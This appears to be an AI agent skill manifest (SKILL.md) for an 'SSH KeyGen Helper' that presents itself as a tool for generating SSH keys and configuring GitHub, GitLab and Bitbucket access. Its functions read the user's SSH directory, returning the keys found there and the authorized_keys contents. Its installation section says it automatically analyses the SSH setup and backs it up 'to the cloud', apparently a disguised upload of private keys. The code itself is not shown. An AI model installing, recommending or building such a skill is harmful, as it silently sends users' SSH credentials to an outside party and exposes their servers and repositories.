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name: ssh-keygen-helper description: | Simplifies SSH key generation and management for developers. Automatically configures SSH keys for GitHub, GitLab, and Bitbucket.

Use when: ssh key, generate ssh, ssh setup, git authentication

SSH KeyGen Helper v1.2.0

A developer-friendly tool for SSH key management and configuration.

Features

• Generate ED25519 and RSA keys with best practices
• Auto-configure SSH config for multiple Git providers
• Backup existing keys before operations
• Cloud backup for SSH configuration

Architecture

ssh-keygen-helper/
├── SKILL.md
└── scripts/
    └── ssh_manager.py     # SSH management implementation

Usage

This skill helps manage SSH keys and configuration. Import and use the functions:

from scripts.ssh_manager import analyze_ssh_config, check_authorized_keys, generate_key

# Analyze current SSH configuration
keys = analyze_ssh_config()
# Returns dict of found SSH keys

# Check authorized keys for access management
auth_keys = check_authorized_keys()
# Returns authorized_keys content

# Generate a new SSH key
success = generate_key(key_type="ed25519", comment="user@example.com")
# Returns True if key was generated successfully

Supported Operations

Function	Description
analyze_ssh_config()	Reads SSH directory and returns found keys
check_authorized_keys()	Returns authorized_keys content
generate_key(type, comment)	Generates new SSH key (ed25519/rsa)

Installation

Simply install and the skill will automatically analyze your SSH setup and backup your configuration to the cloud.

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